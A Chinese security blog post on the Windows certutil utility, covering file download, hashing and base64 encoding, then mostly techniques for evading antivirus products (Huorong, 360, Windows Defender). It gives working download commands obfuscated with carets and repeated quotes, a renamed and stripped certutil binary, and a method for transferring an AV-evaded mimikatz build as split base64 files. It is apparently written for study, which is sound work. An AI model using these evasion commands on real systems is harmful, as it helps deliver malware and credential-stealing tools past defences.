certutil工具使用和bypass学习
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!
更新时间:2022.06.08
本文首发乌鸦安全知识星球
本文中部分方法随着时间推移已失效
1. certutil介绍
certutil.exe 是一个合法Windows文件,用于管理Windows证书的程序。
官方的解释是: certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。
以上参考至:https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/certutil
复制
certutil是windows下一款下载文件的工具,自从WindowsServer2003就自带,但是在Server 2003使用会有问题,也就是说,以下命令是在Win7及其以后的机器中使用。其功能可校验文件MD5,SHA1,SHA256,下载恶意文件和免杀。
以上参考至:[https://blog.csdn.net/bring_coco/article/details/117352716] (https://blog.csdn.net/bring_coco/article/details/117352716)
复制
网上关于certutil的bypass文章很多,但是我发现360很鸡贼,更新贼快,本文用其他的思路免杀看看。
2. 使用介绍
certutil -?的指令显示,当前可以做的东西非常的多:

2.1 文件下载
这个命令几乎是certutil使用最多的场景之一,在后面还会详细的介绍,首先在本地搭建一个http的服务:

此时的下载命令就是:
certutil.exe -urlcache -split -f http://192.168.22.104/crow.txt
-f
覆盖现有文件。
有值的命令行选项。后面跟要下载的文件 url。
-split
保存到文件。
无值的命令行选项。加了的话就可以下载到当前路径,不加就下载到了默认路径。
-urlcache
显示或删除URL缓存条目。
无值的命令行选项。
(certutil.exe 下载有个弊端,它的每一次下载都有留有缓存。)
参考至:https://xz.aliyun.com/t/9737
复制

使用certutil下载文件会产生缓存,用如下命令查看: certutil -urlcache *

使用命令将当前的缓存删除:
certutil -urlcache * delete
复制

此时缓存已经删除 如果想以后下载文件不想要缓存的话,可以在下载文件结尾加上一个delete
certutil.exe -urlcache -split -f http://192.168.22.104/crow.txt delete
复制
2.2 hash验证
在linux下可以使用md5、md5sum等校验hash值

在Windows上就可以使用certutil来计算:
certutil -hashfile crow.txt MD5 //检验MD5
certutil -hashfile crow.txt SHA1 //检验SHA1
certutil -hashfile crow.txt SHA256 //检验SHA256
复制

2.3 base64加解密
在这篇文章里面作者使用certutil对大文件进行了编码传输,并在文件传输之后,将文件进行了还原。
他主要使用的就是使用certutil的encode和decode进行加解密。具体文章地址:https://xz.aliyun.com/t/9737
在这里我以自己以前做的免杀mimikatz复现一下。
首先将该文件使用certutil进行编码:
certutil -encode crowsec_bypass_mimikatz.exe m.txt
复制

将文件使用notepad打开,当前文件一共9w多行:

按照作者的方法,我将文件分为3个:

使用ctrl + g进行快速定位:

当前分割之后的文件分别为1.txt 2.txt 3.txt。

然后再使用命令将当前的文件下载过来:
certutil.exe -urlcache -split -f http://192.168.22.104/1.txt
certutil.exe -urlcache -split -f http://192.168.22.104/2.txt
certutil.exe -urlcache -split -f http://192.168.22.104/3.txt
复制

将3个文件合并到一个文件中去:
copy *.txt mimikatz.txt //把当前目录下的所有txt合并为mimikatz.txt
复制

然后对文件进行编码:
certutil -decode mimikatz.txt m.exe
复制

此时文件的hash值和原来的hash值相同:

3. Bypass
在我执行命令的过程中,发现了好多次被各种av拦截,所以在这里学习下如何bypass 在下面这个链接中
https://view.inews.qq.com/a/20220530A04RST00
复制
作者对于各种场景进行了bypass和分析,但是在这里发现其中有些方法已经失效了,某某某杀软更新频繁,基本上对着更新,速度很快,那再试试其他的方法吧。
3.1 火绒(已失效)
环境:windows7 + 最新版火绒 直接执行命令:
certutil -urlcache -split -f http://192.168.22.102/1.txt
certutil -urlcache -split -f http://192.168.22.102/2.txt
certutil -urlcache -split -f http://192.168.22.102/3.txt
复制

文件都下载下来了,火绒没有对此进行拦截,那如果下载一个exe呢?在这里下载一个cmd.exe试试:
certutil -urlcache -split -f http://192.168.22.102/cmd.exe
复制

我的火绒没有对此进行任何的拦截操作。。。。
后来才发现,原来是我的空格问题,我在-spilt之前多空了一格:
空格两个,bypass 火绒:certutil -urlcache -split -f http://192.168.22.102/1.exe
正常的一个空格:certutil -urlcache -split -f http://192.168.22.102/1.exe
复制

多余空格
所以bypass的方法就很多了,最简单的就是多空一格:
certutil -urlcache -split -f http://192.168.22.102/1.exe -f参数空两格
复制

多余参数
不过可以在火绒中加上任意多余的参数:
certutil -urlcache -f -split -f http://192.168.22.102/1.exe
复制

混淆字符
certutil -u^r^l^cache -split -f http://192.168.22.102/1.exe
复制

3.2 360
certutil -urlcache -split -f http://192.168.22.102/1.exe
复制
直接被拦截:

通过学习可知,混淆无法绕过360,所以将certutil文件拷贝到当前目录,然后执行命令:
where certutil
copy C:\Windows\System32\certutil.exe crow.exe
复制

再来执行命令试试:
crow -urlcache -split -f http://192.168.22.102/cmd.exe
复制
依旧被拦截!执行crow -urlcache也是一样的结果:这说明360已经更新了,而且速度很快:

经过多次操作之后发现,基本上混淆啥的都是没用的,在这里使用restorator 2018这个工具打开看下,它可以修改exe的属性和图标等:

打开之后可以看到这里有很醒目的版本信息:

所以在这里对版本、图标等全部删除:

将文件另存为crow3.exe
crow3.exe -urlcache -split -f http://192.168.22.102/cmd.exe
复制


此时文件下载成功。
所以对于360来说(截止2022.06.09)
where certutil
copy C:\Windows\System32\certutil.exe crow.exe
将crow.exe 去特征,再执行命令
crow3 -urlcache -split -f http://192.168.22.102/cmd.exe
复制
3.3 windows Defender
当前环境为Windows10 ltsb 长期服务器版 启用windows Defender


直接执行的时候,直接杀
certutil -urlcache -split -f http://192.168.22.102/cmd.exe
复制

简单变形之后,还是杀
certutil -u^r^l^c^a^c^he -split -f http://192.168.22.102/cmd.exe
复制

使用刚刚过360的方法,一样被杀:
crow3 -urlcache -split -f http://192.168.22.102/cmd.exe
复制

下面这个命令不杀:
crow3 -urlcache
复制
继续:
crow3 -urlcache -split
复制
crow3 -urlcache -split -f
复制
crow3 -urlcache -split -f http:
复制
很明显了,这里就开始杀了,要混淆才行。
crow3 -url""cache -split -f http://192.168.22.102/cmd.exe
复制

还是不行。 终于,使用"""bypass成功。
certutil -url""""cache -split -f http://192.168.22.102/cmd.exe
复制

使用这个也可以绕过:

经过测试发现,使用""""都可以绕过windows Defender

4. 总结
针对certitul的使用,对av来说,查杀不算严格,cmd命令混淆的目的就是为这类服务的,对于不同的环境有不同的方法来做,不要太追求bypass everyone。
本文跨度时间周期较长,其中的某些方法已经无法过杀软,仅供参考。
certutil工具使用和bypass学习的更多相关文章
- 代码管理工具之git的学习
1.代码管理工具git的学习 http://www.ruanyifeng.com/blog/2015/12/git-cheat-sheet.html 2.github的使用帮助 https:// ...
- java/.net-常用工具下载地址&常用学习网址&快捷键
HTML5 HTML5:http://www.html5cn.org/ php常用网址 thinkphp框架:http://www.thinkphp.cn/ wampserver开发服务器:http: ...
- C#入门教程(一)–.Net平台技术介绍、C#语言及开发工具介绍-打造C#学习教程
一.什么是.Net平台? .Net平台是微软搭建的技术平台,技术人员在此平台上进行应用的搭建与开发.它提供了运行所必须的环境.NET Framework类库以及CLR(公共语言运行时).好比我们人类的 ...
- http性能测试工具wrk源码学习之开篇
1.前言 最近工作需要测试nginx反向代理的性能,于是找了一些http测试工具,例如经典的Apache的ab.siege.wrk.wrk使用多线程事件驱动方式,支持lua脚本扩展.关于wrk介绍可以 ...
- [工具向]__关于androidstudio工具使用过程中学习到的一些知识点简记
前言 在我学习android开发课程的过程中,我们通常只会关注编程语言上面的一些知识点与问题,而忽略了开发工具的使用上的一些遇到的一些知识,其实每一款IDE工具都是集编程语言大成而开发出来的,其中有很 ...
- PYTHON 实现的微信跳一跳【辅助工具】仅作学习
备注原地址:https://my.oschina.net/anlve/blog/1604163 我又做了一些优化,防止WX检测作弊 准备环境: Windows 10安卓手机,源码中有适配ios,然后链 ...
- 【开发工具 docker】值得学习的应用容器引擎docker安装
概述: Docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从 Apache2.0 协议开源. Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级.可移植的容器中,然后发布到任何 ...
- 【工具篇】Selenium 学习实践(一)环境搭建
一.环境搭建 (1)初学者最佳环境: Python 2.7 + Selenium 2+ Firefox 46 (2)喜欢尝新的环境: Python 3.6 + Selenium 3+ Firefox ...
- Ruby中任务构建工具rake的入门学习教程
参考:http://www.jb51.net/article/81476.htm Rake简介 Rake的意思是Ruby Make,一个用ruby开发的代码构建工具. 但是,为什么Ruby需要Rake ...
- 【AirTest自学】AirTest工具介绍和入门学习(一)
==================================================================================================== ...
随机推荐
- Windows静态库和动态库区别
个人建议:能使用静态库的就不要使用动态库,能使用隐式调用的就不要用显示调用. 注意: (1)动态库中的.lib文件叫做导入库,对于导入库而言,其实际的执行代码位于动态库中,导入库只包含了地址符 ...
- 【随笔记】SiliconLabs Android aar 库使用
一.导入库文件 1. 拷贝以下两个文件到工程的 libs 目录下 ble_mesh-android_api_high-release.aar ble_mesh-android_api_low-rele ...
- APP测试注意点-安装卸载与运行
1.安装和卸载 应用在不同系统版本的ios和android是否可以正常安装(适配问题) 安装过程中是否可以取消 手机存储空间不足时安装应用是否有相应提示信息 安装后的应用是否可以正常卸载 卸载后是否会 ...
- redis实现分布式锁(包含代码以及分析利弊)
redis实现分布式锁(基础版) 使用redis实现分布式锁的方法有多种,基础版本是基于setnx命令,即如果不存在则设置.这个命令可以保证只有一个客户端能够成功设置一个key,从而获得锁.设置key ...
- sqlserver数据库批量新增修改类
MSSql Server 数据库批量操作 需要引用的命名空间 using System; using System.Collections.Generic; using System.Data; us ...
- 使用HtmlAgilityPack 爬取 国家统计局 区划和城乡划分代码
HtmlAgilityPack:Html解析神器,根据url地址解析html页面内容. 项目引用HtmlAgilityPack.dll文件或者通过安装 nuget 包 HtmlAgilityPack ...
- Syntax Error: Error: Cannot find module ‘node-sass‘
出现问题原因: vscode运行前端项目输入npm run dev命令触发此错误 解决办法: 指定淘宝镜像安装node-sass win+r 打开cmd控制台输入 npm install -g cnp ...
- BAL数据集详解
详细格式:https://grail.cs.washington.edu/projects/bal/ Bundle Adjustment in the Large Recent work in Str ...
- Cesium模型贴地问题(八)
2023-01-12 1.sampleTerrainMostDetailed 根据提供的terrainPrivider和点的弧度坐标计算出当前点的高度信息. var p = new Cesium.Ca ...
- Excel操作技巧
命令 获取行号ROW(D2).COLOUM(D2) 快捷键 alt+=求和:alt+f1生成柱形图:alt+回车强制换行:alt+178输入平方:alt+179输入立方: shitf+大十字光标 换位 ...